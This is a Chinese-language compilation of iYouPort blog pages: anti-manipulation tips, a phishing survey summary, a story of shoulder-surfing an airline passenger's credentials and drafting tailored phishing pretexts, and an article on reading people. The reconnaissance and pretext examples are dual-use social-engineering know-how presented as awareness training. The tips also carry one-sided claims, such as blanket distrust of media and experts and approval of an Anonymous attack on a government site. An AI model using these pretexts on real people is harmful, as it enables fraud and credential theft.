你的行为基于你对世界上正在发生的事的心理评估，这些心理评估完全可以通过叙事控制来操纵。

必须时刻意识到这一事实 —— 尤其是在那些短时间内非常令你愉快、兴奋、激动和深感认同的言语出现时，那种时刻就是你非常容易接受操纵的时刻 —— 你的情绪会误导你认为那些被灌输的言语“来自本心”。

2、保持谦虚和开放，要认识到自己可以很容易被愚弄。

您的认知布线很容易受到与其他人相同的攻击，各种操纵者总是希望利用这些漏洞。

🌤被欺骗是不可耻的，欺骗别人是可耻的。只有当我们勇于承认自己被骗并努力反击欺骗者的时候，才能终止他们的恶行。

不要让羞耻感和认知失调把你囚禁起来，不要考虑你被某种方式欺骗的可能性 —— 每一种可能性都非常大，这是因为人类的思维方式本

身就是有缺陷的。并不是你的错。

人们之所以继续被骗，之所以不断踩进同一条臭水沟里，正是因为被骗的人会羞于承认自己被骗了，他们会因为面子而努力为欺骗者辩护 —— 这便反过来加强了欺骗者的能力。

别干傻事。揭露他们，他们才是可耻的。

3、用自己的眼睛观察他人的行为，忽略他们讲述自己行为的任何故事。

这是一条基本原则，适用于所有人 —— 您身边的人、政府和政治家。

⚠叙事可以通过许多不同的方式轻易地被操纵和扭曲，而行为本身在尽可能多的客观性检查面前是很难掩盖纰漏的。

以这种方式关注行为，最终你会开始注意到，某些人的行为与他们所说的话之间存在巨大的差距。

那些人就是操纵者。不相信他们。

不论他们是谁，不论他们举着多么耀眼的旗号，拒绝他们。

4、要怀疑那些不断告诉你他们是什么以及他们是怎样的人，因为他们在试图操纵你对他们的认识。

同时，对所有那些一直在告诉你你是什么以及你是怎样的人，持怀疑态度，因为他们在试图操纵你关于你自己的叙述。

用自己的眼睛去观察，用自己的大脑去分析，要始终这样做。

5、学习并了解操纵者如何使用信任和同情来诱骗人们接受他们关于正在发生的事的叙述。

每个操纵者都使用信任和/或同情作为他们操纵的基本线，因为如果你对他们讲述的故事没有信任或同情，你就不会在心理上认同他们的故事。

⚠对大众媒体来说是如此；国务院的新闻稿也是如此，这些新闻稿恳请你们同情某些他们指定的东西；甚至家庭成员和同事也是如此。

一旦你发现了一个操纵者，你的任务就是立即取消你对他们的所有同情和信任，无论他们多么努力地扮演受害者来吸引你，不要上当。

厄瓜多尔政府在违背它自己的宪法之后，他们的政府官网被匿名者组织攻击；攻击是为提醒所有人注意：作恶的结果是面对反抗者的愤怒。但厄瓜多尔政府在新闻稿中拼命强调网络攻击，而非他们激怒反抗者的事实，他们假扮受害者以博取大众的怜悯，为的是继续操纵人们的认知。

不要相信他们的眼泪。

这类操纵手段几乎铺天盖地。

6、对任何拒绝清楚地表达自己的人保持怀疑。

salading 是一种自恋型人格障碍者臭名昭著的策略，因为它让受害者感到困惑，无法弄清楚发生了什么。

如果人们无法清楚地掌握操纵者所说的内容，人们就无法形成与之相关的固定立场。

你要做的是坚持清醒的沟通，如果对方拒绝你，那就解除一切信任和同情。

⚠将此原则应用于生活中的身边人、政府官员、和8chan宣传的一切。

7、熟悉认知偏见，即人类认知中的故障，这是必然存在的；这些故障使我们以不合理的方式感知事物。

⚠特别注意确认偏误、逆火效应、和虚幻的现实效应。

人类大脑天然的应急机制也同时是一种恼人的倾向，即 在信息收集中寻求认知的轻松、避免认知失调，而不是寻找什么是真实的，无论真相是否带来认知不适。

⚠这意味着人们倾向于选择自己愿意相信的东西去相信、基于它在个人心理上是否能创建舒适感以决定是否信任，而不是判断事实和证据。

这是人类认知布线的一个弱点，操纵者不断地利用这一弱点，这就是为什么假消息的知名度和传播速度远超过真实的消息。

再一次，这意味着批判性思考的前提是谦虚。

8、相信你自己的理解高于其他任何人。

首先声明：这样思考很可能并不完美，但是，⚠它至少可以避免你被叙事管理者（强大的权势）和愚蠢的集体思维所控制，避免在某种充满宣传和操纵的叙事景观中被任何其他人来控制你。

你不可能一直正确，但相信自己是最安全的赌注。

⚠前提是，你必须判断“自己的想法”究竟是不是自己的，因为操纵者的目标就是让你认为被灌输的认知“属于你自己”。

你要做的是🌛独自一人在逐个实例的基础上从虚假中挑选出真实的东西，这一过程可能是令人生畏的，但另一种选择是让别人来给你的世界观打分，你觉得哪个更靠谱？

对一切强大的人物权势都保持警惕从来不会有错 —— ⚠任何强大的人物和权势，而不仅仅是哪个国家的强权。在任何名人面前，多相信自己。

9、了解宣传是我们社会中最容易被忽视和不被重视的方面。

每个人都在不断地谈论世界的错误，⚠但几乎没有任何讨论愿意集中在*公众被大众媒体宣传所操纵才导致了那些问题的发生*这一事实。

那些强大的人物不断操纵大众的思考、行动和投票的方式，这应该成为每个人意识的最前沿，而不是偶尔在边缘圈子中进行浅尝而止的讨论。

它没有被讨论绝不是因为它不重要 —— 宣传操纵的成功是强权之所以能成为强权的根本性原因之一；而缺乏对这些问题的讨论恰恰是大众难以推翻强权的弱点。

10、尊重现代宣传科学已经研究和开发超过一个世纪的事实。

想想上个世纪已经取得的所有军事进步，以了解这门科学现在必须有多复杂。

⚠在研究和理解操纵人类心灵的方法方面，他们远远领先于我们，这些方法只有利于强者。

不必怀疑那些统揽叙事的强权是否能够以最先进和最狡猾的方法完成某种操纵；切不可低估他们。

11、了解到大众传媒的宣传很少是内容完整的、更多时候是彻头彻尾的谎言。

它们只会轻率地公布政府机构告诉他们的东西，它们只是强权的录音机。

更常见的欺骗的形式是扭曲的、半真半假的、和遗漏重要线索的。

⚠你需要更多关注大众媒体所涵盖的和没有涵盖的内容之间的差异，那些它们没有说出的东西。

12、努力发展自己的新闻感 —— 自己去判断什么内容才有价值、什么内容真的实用。

把不实用的无价值内容全部抛弃，不要让它们浪费你的时间。

这需要练习和实践。

但这一过程至少能帮助你识别出哪些东西真的有价值但是被大众媒体忽略了，以及哪些内容完全没价值却被拼命炒作以抢占所谓的头条。

⚠想想看，这些阴暗的伎俩在促进谁的利益？

习惯于多想想这些问题是足够帮助你防止被操纵的方法。

13、在此过程中要对自己有耐心，要原谅自己曾经的错误。意识到错误意味着进步，而不是丢人。

这很重要。

如果发现自己错了什么，那就接收新信息，进行适当调整，然后继续前进。

和任何东西一样，只有坚持这样做才能擅长。

🌤你的前进就是操纵者的失败。

14、找到专业能力很高的独立的新闻记者，他们对导航叙事矩阵有很好的理解，您可以关注他们以确定自己的方向、并掌握正在发生的事。

⚠寻找独立记者，而非职业媒体记者，后者几乎没有可靠的 —— 因为他们的工作优秀的标准就是让金主和背后的政权满意，而不是合乎你我的利益。

15、不要让偏执狂成为导航叙事矩阵的主要或唯一工具。

有些人理解世界的唯一方法就是对所有人产生强烈的怀疑。花点时间在阴谋论界和媒体批评界转转，你会遇到很多这样的人。

⚠拒绝一切、认为一切都是假的，这只能使你得不到任何真实的东西。

你必须能找到积极的工具来学习什么是真的。OSINT是公民掌握真相的唯一武器。

在这里看到thread。

16、宽松地保持你的世界观，以便你可以随时根据新的信息去调整它。

但不要太宽松，不要让所谓的权威语调操纵你的看法。

🌤正如卡尔·萨根（Carl Sagan）曾经说过的那样，“保持开放的心态是值得的，但不要太开放以至于让你的大脑失去理智。”

这一尺度非常重要。

17、小心那些一本正经说瞎话的骗子，不要被任何冠冕堂皇的头衔蒙蔽。

⚠可笑的是，任何媒体平台都痴迷于发言人的头衔，越出名越容易被视为“真理” —— 事实上，越出名的家伙越擅长骗人。

然而令人惊讶的是，人们真的会信任那些一本正经的骗子，真的“只读名人著作”，这非常可怕。

⚠有人问过那些人是怎么出名的吗？如何获得的如此炫目的头衔？要知道，能批准那些头衔的人都是毫无悬念的操纵者—当权者。

不论是商业媒体还是 YouTube 直播，都在遵循这种可笑的“名牌”逻辑，这就是这个是社会之所以如此愚钝荒唐的原因。

其中有些人其实只是在假装头衔，但却非常有效。你知道那些坐在主流媒体上对委内瑞拉社会大加点评的所谓著名知识分子和著名记者他们这辈子都没去过委内瑞拉吗？

⚠你在网上政治论坛的辩论中能看到的一直都是这种情况，不论任何语种；那些家伙以极其自信的姿态来到你身边，但是，如果你推动他们展示他们对这个主题的知识和他们论点的力量的话，你就会看到，实际上他们肚子里并没有任何东西。

他们只是习惯于让人们知道他们正在谈论什么、让人们知道他们的要求没有受到挑战；并且，当有人不鸟他们假装的信心时，他们的一切道貌岸然都会失去效力。

只有你才能做到让这些操纵者失败。

18、请注意虚伪的存在。

⚠有些人在不同程度上并不关心他人会发生什么，而这些人会在任何时候假装关心来获取他们自己的利益。

并不是每一种抢热点都是爱心人士，⚠尤其是在社交媒体时代，抢热点的人经常真正关心的是他们自己的影响力提升。

📢随时注意那些专注于抓热点的人是否能提供真正的帮助，如果不能提供，仅仅是发表某种意见，他们并不值得你关注。

别把你的宝贵时间浪费给那些无能的个人营销骗子。

19、注意投射：不健康的人倾向于将他们的邪恶投射到其他人身上，而健康的人倾向于投射他们的善良。

这两者都不是好事。

⚠不要让你的善良诱惑你误以为没有欺骗和操纵存在，也不要让反社会的家伙通过告诉你你是多么腐朽而将他们的险恶动机投射到你身上。

没有完美，并非每一个人都是完全真实的。告诉自己。

要时刻应该看清这一点。

20、怀疑那些过分主张文明、规则和礼貌的人。

⚠操纵者最得益于规则和文明，因为他们知道如何操纵它们。

⚠很多时候那些告诉你冷静下来、并且在你理所当然地感到不安时拼命表现他们自己的人，就是操纵者。

他们有一种既得利益，就是让你遵守他们已经在其中游刃有余的规则。

不要进入他们的圈套。

21、对自己内心的叙述和各种操纵方式毫不留情地解剖。

⚠如果您不清楚自己在操纵戏码中扮演的角色，就无法穿越操纵的矩阵。

你需要深入地探讨，有意识地盘点。就如抵制大规模监控的识别战役中，你我处于什么样的角色？

不要害怕认识到任何事实；如果永远不会认识到事实才是真正可怕的。

23、尝试用新鲜的眼睛来观察这个世界，而不是用疲惫的成熟老人般的眼睛把一切都理解为“正常”。

⚠你的习以为常就是给操纵者的最大奖励。

在脑海中始终保存你想要的世界的样子；每当睁开眼睛时，你就会发现哪些家伙一直在拼命想要你接受被他们扭曲的世界。

24、真相没有党派、没有社交工程。

所有的政党都习惯于以各种方式操纵群众，而且任何一个政党都可以伪装出真理。

⚠沿着党派路线思考只能给你一个扭曲的视野。任何党派。

你是独立的个人，永远记住这点 —— 哪怕你某一天加入了某个党派，也要始终保持独立自我的思考方式。

25、要理解“民族国家”不过是纯粹的叙事结构，它们只存在于人们同意假装这样做的程度上。见《*国家*的危险神话》。

⚠操纵这些概念的人很清楚这点，他们利用的是我们大多数人无法利

用它这一事实。

⚠任何大讲民族国家概念的人都值得非常警惕 —— 任何人，不论是否强大的权势，因为这个概念本身就带有欺骗性、它只是在符合讲话者的目的。

再一次申明：是任何人，包括你的队友对民族国家概念的强调。

⚠那些拼命讲述本民族所谓的“劣根性”的人，他们是操纵者，他们的目的是让你陷入虚无，开始转向逃避，让你放弃一切反抗的精神。

仔细想想，他们所讲述的“劣根性”很大程度上只是人类的基本心理弱点，是全人类共有的，是需要通过教育和实践努力去克服的东西，而非哪个民族国家所独有的。

不要让操纵者把你埋葬在绝望的深渊里。

26、注意操纵者如何将人口分成两部分，然后让他们互相争论关于他们应该如何更好地服务于建制。

⚠仔细观察这些建制所提出的问题你就会发现，他们从来不会容许任何反建制的存在，他们努力制造的“人民矛盾”都是基于制造一种竞争 —— 看你们中谁能更好地满足建制的利益。

所以，作为公民你应该知道，⚠任何体制精英和当权者控制的媒体平台制造的所谓热点争议都值得怀疑，要想想，那些议题肯定还有其他选项并没有被公开列入。

⚠他们只是想让我们争论哪种姿势是舔皇家靴子最好姿势。

这种操纵持续的时间越长，人们就越难以记起自己是否真的想要舔它。

摆脱他们设置的陷阱。你能做到。

27、小心操纵者对情感的呼吁。

操纵某人通过吸引他们的情感冲动而不是理性分析的能力要容易得多。

这就是为什么他们想要为军事干预主义制造支持时，你就会在新闻屏幕上看到死伤儿童的照片而不是逻辑论证 —— ⚠你看不到基于对事

实和证据的全面介绍，也没有使用军事暴力之优势的合理论据。

🌤在任何基于事实的分析中，所有情绪夸张都会崩溃。

他们使用情绪做为操纵引擎仅仅是因为它最有效。

⚠他们追求的是用你自己的心弦来绕过你自己的头脑。

不要上当。

28、注意维护宣传机器本身的宣传程度。

这样做是因为宣传只是维持主导权力结构的核心。

操纵者会在建立“主旋律”叙述的过程中投入大量精力，同时播下对任何异议来源的不信任。

你会看到整个宣传活动围绕着这一步来完成。

如果你能打破它，至少可以为Matrix的构建者制造一点难度。

- ○ ■ ■ 逃离Matrix并不是一件容易事，但是，只要有足够多的人开始至少注意到上述28条技巧，我们就可以合力为自己挖出一条出路。

要综合性地并持续使用这些技巧。相信IYP的读者将能够比其他人做得更好。○

原文

更糟糕的局面 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

网络钓鱼攻击是企业面临的最大安全问题，也是最难解决的问题。根据英国政府发布的2019年网络安全漏洞调查，最常见的网络攻击类型是网络钓鱼攻击，无论是通过欺诈性电子邮件还是虚假网站。

网络钓鱼电子邮件易于发送且难以打击。近年来，许多最大的数据泄露事件都始于网络钓鱼电子邮件。攻击者伪装成目标人信任的朋友和同事，以骗取包括密码在内的各种致命权限。

报告说："防止这些类型的攻击需要技术控制和良好的员工意识。这包括对非专业人员的培训，他们通常是网络钓鱼攻击者的直接针对目标。"

与往年一样，根据该报告，诸如 DDOS 以及其他复杂的和技术性的攻击相对不太常见。报告还表示，抱怨病毒、间谍软件或其他恶意软件攻击的组织的比例正在下降，这表明这种类型的活动正变得不那么常见或不那么明显，尽管它指出 DDOS 攻击更有可能影响通信和教育公司，以及一般的大型企业。

除了是最常见的攻击之外，网络钓鱼尝试也被评为最具破坏性的攻击实践。报告发现，如果违规导致数据或资产流失，企业网络攻击的平均损失成本自2018年以来上涨了1000多英镑，达到4,180英镑。

该报告还发现—与前几年一样—最具破坏性的违规或攻击更可能被工人发现，而不是被网络安全软件发现。对于63%的企业和70%的慈善机构，最具破坏性的违规行为都是由员工、承包商或志愿者直接报告的。"这说明了员工警惕以及技术控制在及时识别违规行为方面的重要性，"报告说。

这也可能表明公司在网络安全方面的支出严重不足。该报告称，尽管分析师警告说，只有约2%的 IT 预算用于安全性，但公司在安全方面的支出有很大差异。

该报告称，虽然典型的组织可能每年只会遇到一些违规行为，但有些

则会面临更多的违规行为。除了报告的攻击数量总体减少外，这表明攻击者正在改变他们的方法。

“攻击者可能会针对较少的企业，但可能会更频繁地或实质性地攻击这些企业，”它警告说。

根据该报告，32%的英国企业在过去12个月内发现了网络安全攻击—低于去年的43%。

虽然这可能表明较少的企业报告违规行为，因为它们更安全，但报告指出也有其他解释。如上所述，一种可能性是攻击者正在改变他们的行为，更多的攻击集中在更窄范围的企业上。这可以解释为什么识别攻击行为的企业数量已经下降，但部分公司报告的攻击数量却上升了。或者，可能取决于2018年5月引入的通用数据保护条例（GDPR）。“GDPR 可能已经改变了企业对违规行为的认识，或导致一些企业变得不太愿意承认网络安全漏洞”。

关于网络钓鱼攻击的防御方案请参见 IYP 类目“技术防身”部分。

⚠ 单纯的技术是无法阻止针对人性的社交工程战术的，这点必须是关键知识。具体防御做法详见 IYP 此前提供的两个介绍：《如何将另一个人变成你想要的样子？》《移除你的绵羊墙》

Phishing attacks are a worse security nightmare than ransomware or hacking. More disruptive than ransomware, malware or hacking, the phishing attacks just don’t stop.

原文

现实生活中遍地都是可利用的信息：社交工程学侦查实践 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

> 教练车开起来！通过一个故事你将可以看到很多惯常的生活细节，其隐蔽的可被利用性是多么的强大。如果你不幸被社交工程师盯上了，平时认为无所谓的小细节都会变成飞向你的匕首……实施强大的攻击也许完全不需要高端的渗透技术。

「图」

就如我们此前展示的多篇文章那样，在侦察和开源情报 ##OSINT 方面，其研究通常看起来像是数字战斗。使用无穷无尽的软件、网站和 API，来争取我们想要的数据。不过不要忘了，现实世界中就有很多有价值的信息，你只需要停下来观察一下……

比如下面这个故事，目标对象就栽在一次极普通的旅途中。

这里是 Bristol 到上海的航班。一对夫妻坐在我前面，为了本文的目的，我们称他们为 Gary 和 Linda。

Gary 和 Linda 正在讨论他们的旅行。Linda 要求 Gary 通过手机查看阿联酋航空的应用程序，以确保他们飞往迪拜的航班不会延误。就像你能想到的很普通的布局那样，他们的座位之间有一个足够大的空隙让我可以观看。Gary 拿出他的 iPhone X，他向她保证不会有任何延误。Linda 开始阅读杂志，Gary 拿出他的笔记本电脑。

他登录并打开了 Outlook 电子邮件。标记为*重要*的电子邮件首先打开。一切开始有趣了。

该电子邮件来自名为 Jon 的人，似乎是他的商业伙伴。Jon 发送了一份标记为 “HIGHLY CONFIDENTIAL：PLANT MATERT PROFIT RATES” 的附件。Gary 打开它，里面包含在迪拜出售的建筑设备和机械品的清单，以及相应的价格、加价和利润。

我已经知道 Gary 今天要飞往迪拜了，也许他还在为购买这种设备的价格谈判？

我开始 duckduckgo 搜索 Gary 的公司名称，这是我在他的电子邮件签名中看到的，搜索结果显示，他们为建筑行业提供广泛的服务，其中还包括一个为大型企业谈判商业租赁问题的法律团队。有趣。

我快速搜索公司大楼，可以看到该公司已经持续了 10 年，除了他们亏损的那几年，每年都在赚取非常可观的利润。嗯，明显是条大鱼。

Gary 开始给 Jon 写邮件回复，将电子邮件标记为“HIGHLY CONFIDENTIAL”，这立即引起了我的兴趣。我已经知道他拥有一家盈利的公司，这对迪拜来说可能是一次利润丰厚的商务旅行。

他这样写道：

> *“Linda* 和我今晚将抵达迪拜，我们将入住亚特兰蒂斯棕榈酒店。我们明天一整天都有空，但我们仍然可以在周五晚上见面。我给 *Benihana* 餐厅发了一封电子邮件，看看是否能在这么短的时间内订到一张*3*人餐桌。如果我明天没有收到他们的回复，我会打电话。我们应该花点时间在星期一的会议前仔细看一下这些数字。“

瞧瞧我现在知道了什么：他住在哪里、他的晚餐计划、Joy 已经在迪拜了的事实、会议是在星期一、他明天休息一天。

如果我是攻击者，我可以向他发送一个网络钓鱼邮件，假装是要求支付卡验证的酒店。更好的是，我可以假扮成餐厅，要求他点击链接以确认他的预订。

Gary 发送了一些电子邮件，并对 PowerPoint 演示文稿进行了最后的修改。这段比较无聊。

不过很快又变得好玩了。然后他开始登陆亚马逊。他是在浏览便携式扬声器的部分并决定使用一个小型 Bose 扬声器。嗯，很好的选择。他将这东西添加到他的愿望清单，继续浏览。我看到了亚马逊为他提出的商品建议，很明显他非常喜欢音乐和除湿机……

很棒，他去登录他的亚马逊帐户了。他使用的是自己的工作邮箱，然后键入密码。

我无法从我所在的位置看到键盘，但是……简直是太幸运了，他输错了密码。而且是两次。对自己感到沮丧吗嘿嘿，毫无疑问和大多数人一样 Gary 立刻点击了“明文密码”图标，并重新输入。现在，我可以阅读密码了，而不是那些小黑点。他滚动浏览亚马逊愿望清单，最终决定购买扬声器和包儿。完成，退出。

「图」

到此为止我已经可以轻松地查看到他的愿望清单中的所有其他内容，而无需登录他的帐户，因为默认情况下所有亚马逊愿望清单都是公开的并且完全可以搜索。

除了我刚刚看到的他的亚马逊登录详细信息、以及我认为是他的家庭住址的事实，还有其他方法可以使用这些信息来创建非常有效的社交工程攻击。

例如，我知道他刚刚订购了 Bose 扬声器和箱包，我知道他付了多少钱、以及货品的参考编号。很棒啊，我现在可以打造一个假装成亚马逊客服的网络钓鱼邮件，这样说：

> “感谢您最近购买了 ***3*** 个 *Bose* 扬声器和 *1* 个紫色便携包。您的订单将于明天发货。请注意，在发送后，您无法取消订单……“

当然，我知道，他没有订购三个，他只订了一个。这就是技巧啦，与许多有效的网络钓鱼电子邮件一样，这是为了让他产生恐慌，并点击我的恶意链接，而不停下来思考。毕竟他肯定不想为三个扬声器付费！

或者，我们还可以更有创意一点，利用对他的 iPhone X 的知识来创建攻击入口。so, 我可以给他发电子邮件假装是苹果公司向他提供免费的 iTunes 凭证（因为我看到了他的亚马逊心愿单中的音乐部分，而且已经知道了他的口味），以诱惑他点击链接。

一直以来人们普遍认为，坏人只存在于乌克兰和俄罗斯的地下室里，批量购买黑色连帽衫。他们当然不会出现在看起来高档的旅行途中或在白领咖啡馆里闲逛。不不，这可就大错了。

当我被聘请在一些大公司进行社交工程安全测试时，我会使用社交媒体来查看大多数员工在午休时间都去了哪里。因为人们太喜欢晒了。

通常有一两家咖啡馆是很受欢迎的。我就去那里潜伏下来，通常可以

听到他们坐在那里讨论工作生活中的琐事，抱怨。这可不是简单的闲谈，你能从中了解到公司的层次结构、工作证件照片、我甚至可以与其中的一个人开始对话，以了解更多的信息。（关于闲聊就能钓鱼的方法我们今后会详细介绍）

这只是社交工程攻击的一个小例子而已。现实情况是，随着您公司的技术防御变得越来越好，您的 **IT** 团队在处理安全问题时变得更成熟，作为攻击者，我最好的选择是针对非 **IT** 员工。

回到 Gary 的例子。他最小化亚马逊图标并打开了 Google Drive 和一个名为 confidential_orders.xls 的电子表格。这似乎是一个按客户编号列出的最近订单表。没有客户名称只显示客户的编号，显然他已经采取了某种方式来保持机密性。这实际上是 Gary 对我这种“肩膀冲浪”者的一个非常好的战术。我能看到的数据没有什么价值，因为我不知道那些数字代表谁。（肩膀冲浪就是从目标人的肩膀后面偷窥的方法）

可悲的是，他的安全保护只做了一半 — — 当他打开 CRM 平台时我就看到了客户编号和其相对应的名字。

他显然完全没有意识到这点，Gary 已经把一大堆信息交给了一个完全陌生的人。

好的，总结一下，看我们现在都知道了什么：

- 和 Linda 结婚的这个家伙在建筑行业经营自己的盈利公司。
- 他们乘坐阿联酋航空飞往迪拜的商务舱，这既是商务旅行也是娱乐。
- 他们住在亚特兰蒂斯棕榈酒店。
- 本周五，他计划和 Ben 和 Linda 一起去 Benihana 吃饭。他通过电子邮件向他们发送了这一计划，但尚未收到回复。
- 他有一份亚马逊的而且是公开的商品愿望清单，刚刚购买了 Bose 扬声器和盒子。根据亚马逊的推荐商品能看得出，他很喜欢音乐（和除湿机……）。
- 我们有他的亚马逊登录详细信息和他的家庭住址。
- 他有一款新的 iPhone X 手机。
- 他有一些非常重要的客户，其中一些是非常大的企业。他打算转售在迪拜购买的建筑机械，我们可以看到他支付的价格与他出售的价格的对比。
- 他使用 Avast 反病毒程序 — 我在他的电脑桌面上看到了那个图标。他的桌面上堆满了图标，所以我知道他的笔记本电脑上运

行着的都是些什么程序。

那么，攻击者可以做些什么呢？

- 与世界各地的许多攻击者一样，网络钓鱼是攻击 Gary 及其公司最明显和最容易的事。我们可以给他发一封假装是亚马逊、Apple、他在迪拜 Benihana 或阿联酋的酒店的电子邮件，并使用我们收集到的信息来创建一个似是而非的借口或封面故事。我们可以包含一个链接或附件，将恶意软件装到他的系统上（而且我们知道这个恶意软件必须通过什么样的反病毒程序）我们就可以窃取他的更多凭据，甚至完全占领他的计算机。
- 我们可以利用这些信息冒充 Gary 或了解 Gary 的人，进入他的公司或其供应商之一。
- 还有大量的信息可以用来探索他们公司的隐情，尤其是安保方面的漏洞，为更精细的攻击做准备。
- 或者，我们可以向他的竞争对手出售有关建筑机械的信息，或通过假冒他向他的一个大型跨国客户发起攻击。

以上这些只是其中的几个选择而已，如果你需要我还能找到更多的火力。正如你能在社交工程培训研讨会中发现的东西那样，只要有一点想法，任何人都可以提出无数针对性很强的社交工程攻击载体，其中许多点子是非常有效的。

Gary 可以做点什么才能减轻风险呢？（也就是总结啦，每个人都应该了解的自我保护措施）

- 不要在公共场所做任何敏感的工作。在您输入密码或使用密码管理器时要记住遮住键盘、屏蔽密码，不要点击明文按钮。任何时候。就算你“一个人”在酒店房间里也是一样，除非你能确定此处没有任何隐藏的摄像设备。
- 坐下来之前请注意任何潜在的视角。找点什么东西遮住来自后面座椅的视野。如果可能的话，背对着墙是很好的姿势。
- 不要将您准备公开查看的文件标记为“机密”，这会导致它们对攻击者来说更具吸引力！
- 从桌面删除防病毒软件的图标！如果攻击者知道您拥有的防病毒软件是什么，他们可以继续在其设备上进行针对性的恶意软件测试，直到无法被检测到为止。（别小看这点！我们曾经不止一次发现有人将自己设备桌面截图通过社交网络群组发送给朋友，上面存在非常多的重要信息，这可一点都不好玩）
- 在考虑要保护的内容时，不要孤立地看待那些信息。攻击者肯定不会这样看的。单独的一条信息本身也许没什么意义，但当

它与其他信息结合起来使用时，就可以构建一个非常丰富的和高度敏感的宏观图景，任何人都可以借此做出准确的推论。
- 如果你发现任何社交工程攻击的尝试，请获得一些良好的专业的面对面培训。

我们知道，在中国目前为止能遇到的大部分社交工程攻击从专业角度上看都是很粗糙的，但绝对不意味着你就没机会遇到高人！（我就是啊，别让我挖到你的漏洞哈）中文讲究“道高一尺魔高一丈”，除非你先高出一丈来，否则最好别小看了任何一尺。

当然，上述这些经验知识也可以*反过来用*，嗯……但是，我们必需确定您有足够高的道德感，为了正义的目标而采取行动。如果不是这样，如果你用这些伎倆来对付善良无辜的人，我会想办法抓住你的。记住，我能做到。■

附：这里是一个关于很可能是中国当局实施的社交工程攻击案例的详细分析《"//网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？//"》

感谢帮助 ***iYouPort***！

PayPal捐赠渠道已开通 "https://paypal.me/iyouport"

原文

用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

【2018年8月28日存档】这里的“间谍”当然可以换成秘密警察等任何一种偷窥者。本文以私人部门间谍、监视检测和隐蔽保护行动为视角，介绍一些关于“识人”的方法经验……欢迎进入*监视区*，请保持微笑 👀

在东京的时候，我遇到了一位名叫 Danny 的以色列人，他在那段时间里成了我最亲密的朋友。在年轻时代，Danny 就已经成为了一个非常成功的企业家。他也非常喜欢亚洲的艺术和文化，也是这，最终将他带到了东京，在我到达之前他已经在那里生活了近十年。

Danny 是一位自学成才白手起家的百万富翁，而且是一位天生的商人，世界旅行家，艺术史专家，美食和高端烈酒的鉴赏家，以及五六种语言的流利演讲者。作为一个引人入胜的家伙，他现在仍然是一个真实存在的“世界上最有趣的人”。

在 Danny 教给我的许多事情中，令我记忆最为持久的和最有用的一点就是，关于识人的艺术—— 如何读懂一个人，如何理解隐藏在微妙表达背后的真实意图，如何理解有意识的和潜意识的习惯，以及如何使用这种类型的知识以获得各种优势。

要想达到这种能力必须从内心的自我反思开始。换句话说，理解其他人将建立在理解自己之上，控制自己的弱点、肢体语言、细致入微的表达和情绪状态。

我们会出门去练习读人和人际影响技能，主要是在东京高档社区—他们的咖啡馆，餐馆和俱乐部都很时髦。这就像是一场开放式的国际象棋游戏，你可以小心翼翼地定位自己，并在你玩的过程中尝试计算接下来的几步。然后，我们将评估事情的进展，讨论哪些有效，哪些无效。

但当我后来来到以色列，在日本学到的东西开始遭受到打击。人们都是一样的人，无论他们住在哪里，但文化对于人们如何表达自己有着至关重要的影响。谈到日本文化，特别是在高端圈子里，人们非常保守，欲望传达得非常巧妙，真实意图隐藏在厚重的客套和礼貌之后。就像你在中国经常能遇到的那样—每个字的中文都能听懂，但其本意很可能不是你理解的那样。

相比之下，美国人、以色列人等处于这一范围的另一极端。几个月忙着习惯阅读日本人行为的微妙之处让我在抵达以色列时感到几乎能透视了。这里的人看起来很幼稚，即使他们试图避免显露这点。每个人的情绪状态、欲望、动机和行动，犹如画卷一般在视线中展开。看到某人时就给你一种似乎在偷窥什么的感觉。

当时我并没有想到这种技能在我的职业生涯的未来会变得非常有用。能够阅读他人—推断和诱导他们的各种事—对于保护和现场情报操作来说非常有用。所以，我现在可以给你一个速成教程，并分享一些其中的秘密。

要找什么

当涉及到读人时，你应该“相信”你的直觉。别误会，相信你的直觉并不是一个错误，但绝对不是每个人的本能都能迅速发展，即使是那些本能更好的人，也总是有改进的余地。

是的，永远相信你的直觉，但绝不要止步于此。本能没有任何神奇或不可触碰的地方—对他人的感知是由你在潜意识层面上感受到的混合接收信息所引起的。只是你对这种感知的意识比对潜意识的由来更清楚一些，这就是为什么一个本能感觉更像是一种原因而不是一个结论。

但是，不要将本能视为一种神奇的第六感，你实际上可以找到引发这些本能的根本性原因。通过将这些微妙的感官摄入从潜意识领域中带出来，可以帮你提高侦测技能并培养更好的直觉。例如，您是否看到一个看起来完全正常且不可疑的人？—— 这是第一印象。那么很好，问问自己究竟是什么让那个人给了你那种感觉。你有没有看到一个让你感到奇怪可疑的人？好，现在问自己同样的问题。

寻找这些本能背后的根本原因，因为它们确实就存在于那里。这是提高你的意识能力的好办法，帮助你了解人们如何以及为什么以他们的方式行事。尝试检测、评估和理解尽可能多的细节，并试图弄清楚你对这些人的感受背后的“缘由”因素。你并不总是能够做到正确，但通

过练习，你肯定会做得越来越好。

找到有价值的细节

在衡量外观时，我们想要评估和分析的因素一定要是人们可选择的因素。分析的想法经常会得到不好的评价，那不过是由于将不可选择的因素（如种族、年龄和性别）引入了分析，从而导致的。

例如，中文里有一句话叫“丑人多作怪”，这就是完全错误的逻辑。种族貌相这些问题不仅是道德问题，而且是逻辑问题，如果你试图根据一个人无法控制的非选择性、无意识的特征去推断关乎意图的结论，那绝对会失败。这种类型的分析不仅会导致假阳性设定，而且—尤其是—当它导致假阴性设定时，可能会非常危险。

幸运的是，可选择性因素包含在一个人外表的可被观察到的大部分细节中—从头发到鞋子，以及他们可能穿着、携带、喜好或专注的任何其他东西。那个创造了“你无法通过封面评判一本书”这句话的人，不一定是在谈论书籍本身，只要你能注意细节并正确分析那些细节，它们就能告诉你很多东西。几乎没有什么东西是随机存在的，一个人选择佩戴、携带或想拥有的内容可以告诉你至少以下两个重要事项：

- 这个人来自哪里？他的背景、品味和资源。比方说经常穿着战术靴的人是什么样的人？什么样的人带着昂贵的 Gucci 手提包？为什么一个人要携带一个大型的健身包？这些事情都是有原因的，它们都与先前的选择有关。
